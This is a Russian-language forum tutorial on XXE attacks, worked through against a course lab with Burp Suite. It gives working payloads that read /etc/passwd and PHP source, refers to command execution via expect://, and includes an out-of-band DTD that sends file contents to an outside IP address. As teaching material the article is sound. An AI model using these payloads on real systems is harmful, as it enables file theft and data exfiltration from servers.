РАЗБОР AppSec Статья

XXE уязвимости

Paladin
Paladin Exploit Dev · 104 сообщений
Подписаться
7,1 тыс.
[ обложка статьи ]
Режим чтения
1700410180365.png


Привет уважаемые форумчане!
​
Перед тем, как мы начнем рассматривать очень интересную и сложную тему, мне бы хотелось сказать несколько слов. Меня можно поздравить, я перестал быть куратором курса WAPT. Буду теперь помогать студентам посредством написания статей и других бесполезных опусов, которые, надеюсь помогут им в освоении материала курса. В ходе учебы кураторы периодически снабжают учеников дополнительной литературой или ссылками на полезные источники. Часто они разрозненные, противоречивые и что самое ужасное - на басурманском языке, где ничего не понятно. Вот я и решил все, что написано на этих ресурсах испытывать на практике на нашей лаборатории и делится этими исследованиями. Вполне возможно, я собираюсь заниматься х@#%&й, но даже если и так, это в любой момент можно бросить и просто отдыхать. А вдруг кому-то пригодится! Теперь перейду непосредственно к теме статьи.
​
XXE​

Когда я проходил курс WAPT, эта тема оставила неизгладимый отпечаток на моем сознании и стоило приличного количества волос, выдранных из ж0#@, ну в общем вы поняли. Эта тема стала одной из тех, которые вызвали наибольшее количество боли и уничтожила большое количество нервных клеток. Попробуем сегодня вместе на простом примере разобраться с этим типом уязвимости.

XML External Entity (XXE) – это тип атаки, использующий уязвимости в анализаторах XML. При атаке XXE можно внедрить специально созданный XML-контент в приложение, которое его обрабатывает. XXE позволяет определять объекты на основе содержимого URL-адреса или пути к файлу. Когда сервер считывает внедренную нагрузку XML, он анализирует внешний объект, объединяет его с окончательным документом и возвращает его пользователю с конфиденциальными данными внутри.

Как правило к XXE уязвимы приложения без надлежащей валидации входных данных, а также без отключенной обработки внешних сущностей в синтаксическом анализаторе XML. Однако многие XML парсеры уже имеют защиту от XXE атак.​

ТИПЫ XXE​

XXE атаки делятся на типы по принципу того, какой способ используется для доставки полезной нагрузки и какой импакт это несет атака при тестировании на проникновение. Существует 6 типов XXE атак:
1. Извлечение файлов – самое банальное применение, при котором мы можем извлекать файлы с целевого сервера
2. SSRF-Атаки – использование XXE-атак для выполнения атак типа SSRF(Server-Side Request Forgery)
3. Blind XXE – атака, при которой атакующий не получает ответ от сервера, с помощью которого можно понять уязвимо ли приложение к XXE-атакам
4. Инъекция через File Upload – атака, при которой атакующий загружает файл, содержащий XML компоненты
5. Billion Laughs – атака типа denial-of-service (DoS)
6. XInclude – атака с внедрением полезной нагрузки в оператор XInclude

Мы не будем рассматривать все эти варианты, пощупаем только то, что нам пригодится при решении практических задач на курсе, да и то не всех, а иначе это будет неинтересно.
Перейдем к практике. Мы имеем сайт, на котором написано, что он ждет XML.​

1700410390441.png

​
Изучим запрос к этому серверу. Запускаем Burp Suite и обновляем страницу, после чего смотрим перехваченный запрос.
​
1700410457679.png

Не видим ничего такого, что напоминало бы нам формат XML. Ничего удивительного, XML разметка отправляется методом POST. Меняем метод запроса, для чего загоняем его в Repiter и в меню выбираем Change request method​

1700410548724.png

​
Теперь наш запрос имеет нужный метод, отправляем его
​
1700410680716.png

​
Упс! Приложение начинает наглеть и требует нужный тег. Ну и как нам его найти? Тот, кто обучается на курсе может посмотреть видео к уроку и написать несложный скрипт на Python, который сгенерирует нужную нагрузку, благодаря которой мы вычислим нужный тег. Но мы сегодня рассмотрим самый простой способ – фаззинг.

Отправляем наш запрос в Intruder. И добавляем в наш запрос следующую разметку:

<?xml version="1.0"?>
<§§>XXE</§§>


В качестве типа атаки выбираем Pitchfork, а в качестве словарей наш любимый directory-list-2.3-medium. Запускаем атаку и видим чудо. Надпись XXE прописалась в теге title. Значит через него и будем выводить нужную нам информацию.
​
1700410775404.png
​
Чтение файлов​

Для начала попробуем вывести один из системных файлов, например, /etc/passwd. Для этого создадим сущность title и делаем так, чтобы она вернула нам значение файла:

<!DOCTYPE test [<!ENTITY title SYSTEM "file:///etc/passwd">]>
<title>&title;</title>

​
1700410857367.png

Класс!
Теперь хочу обратить ваше внимание на использование враппера file://. В принципе, в данном случае, мы могли его вообще не использовать и результат бы не поменялся:
​
1700410942865.png

В некоторых случаях он необходим. Не нужно забывать, что в этом случае нам нужно задать абсолютный путь. Без враппера файл будет открываться из текущей директории.

Без враппера
​
1700410991664.png

С враппером, без указания пути (Ничего нет)
​
1700411029188.png

С враппером, с указанием пути
​
1700411089543.png
​
Чтение файлов PHP​

Если у нас есть нужда прочитать файл php, то здесь придется действовать несколько по-другому. Так как в коде php будет много всяких пробелов, тегов, переносов строк и прочей лабуды, мы не сможет прочитать его так, как рассмотрели выше. Например, файл index.php.
​
1700411278143.png

Поэтому воспользуемся враппером php://

php://filter/read=convert.base64-encode/resource=index.php

Здесь мы конвертируем содержимое файла в base64 и потом спокойно его раскодируем:
​
1700412088068.png


1700412179527.png
​
RCE​

Выполнение удаленных команд осуществляется при помощи враппера expect://
Для демонстрации этого примера воспользуемся одной из задач с платформы codeby.games.
Как показано на скрине, команда id успешно выполнилась.
​
1700412268124.png
​
Out-of-band​

Бывают ситуации, когда XXE есть, а ответа мы никакого не получаем. Допустим в нашем примере нет никакого ответа от сервера, но мы догадываемся, что уязвимость присутствует. Это может говорить о том, что присутствует слепая XXE.
Вот пример того, как Out-of-band можно использовать для обнаружения слепых XXE-атак:

Предположим, что атакующий отправляет XML-файл, содержащий ссылку внешней сущности на контролируемый им URL, следующим образом:

<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY title SYSTEM "https://xakep.com">]>
<title>&title;</title>


Здесь мы можем видеть, что мы не получаем никаких данных, но нам это и не нужно. Наша задача понять, что XXE-атака сработала, именно для этого мы ссылаемся на наш внешний сервер.
Если XXE-атака удалась, наш сервер получит отстук в виде GET запроса.
Для подобных целей нам не обязательно поднимать свой сервер, мы можем использовать Burp Collaborator, специальный инструмент Burp Suite, который нужен для отлова подобных слепых атак.
Сгенерируем ссылку в Burp Collaborator, вставим ее вместо http://xakep.com, у нас получится следующее:

<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY title SYSTEM "http://sfbhb2v1sgdmwmk60lr6rilt9kfa3z.oastify.com">]>
<title>&title;</title>


При отправке измененного запроса на сервер, тот начнет стучаться в наш Collaborator, в результате чего получаем отбивку о том, что запрос был, а значит XXE-атака сработала:
​
1700412447768.png

Запросы прошли, значит XXE сработала
Пробуем прочитать файл. Создаем файл xxe.dtd куда прописываем следующий код

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; getdata SYSTEM 'http://109.252.167.95:1234/?x=%file;'>">
%eval;
%getdata;


А в запросе такую нагрузку

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://109.252.167.95/xxe.dtd"> %xxe;]>
​
1700412580478.png
​
Как видим, файл мы прочитали.
Ну вот в общем-то и все. До новых встреч!!!
Полезно · 17

Комментарии

4
Так вот кто такой Paladin оказывается) Спасибо за статью👍
 
Объясните пожалуйста почему в некоторых случаях используются
foo, %, eval, &#x25?
 
Объясните пожалуйста почему в некоторых случаях используются
foo, %, eval, &#x25?
Блин, нереально сложный вопрос. Я серьезно. Гуглить пробовали? Вот небольшая ссылочка, которая поможет понять некоторые моменты - XML External Entity - Payloads All The Things

Вообще foo используют все программисты, это метапеременная. Здесь это имя типа документа.
% - объявление сущности
&#х25 - объявление сущности внутри другой сущности, по сути это % в URL кодировке
eval - это имя сущности
 
  • Нравится
Реакции: DmSmith
1
Хорошая статья :)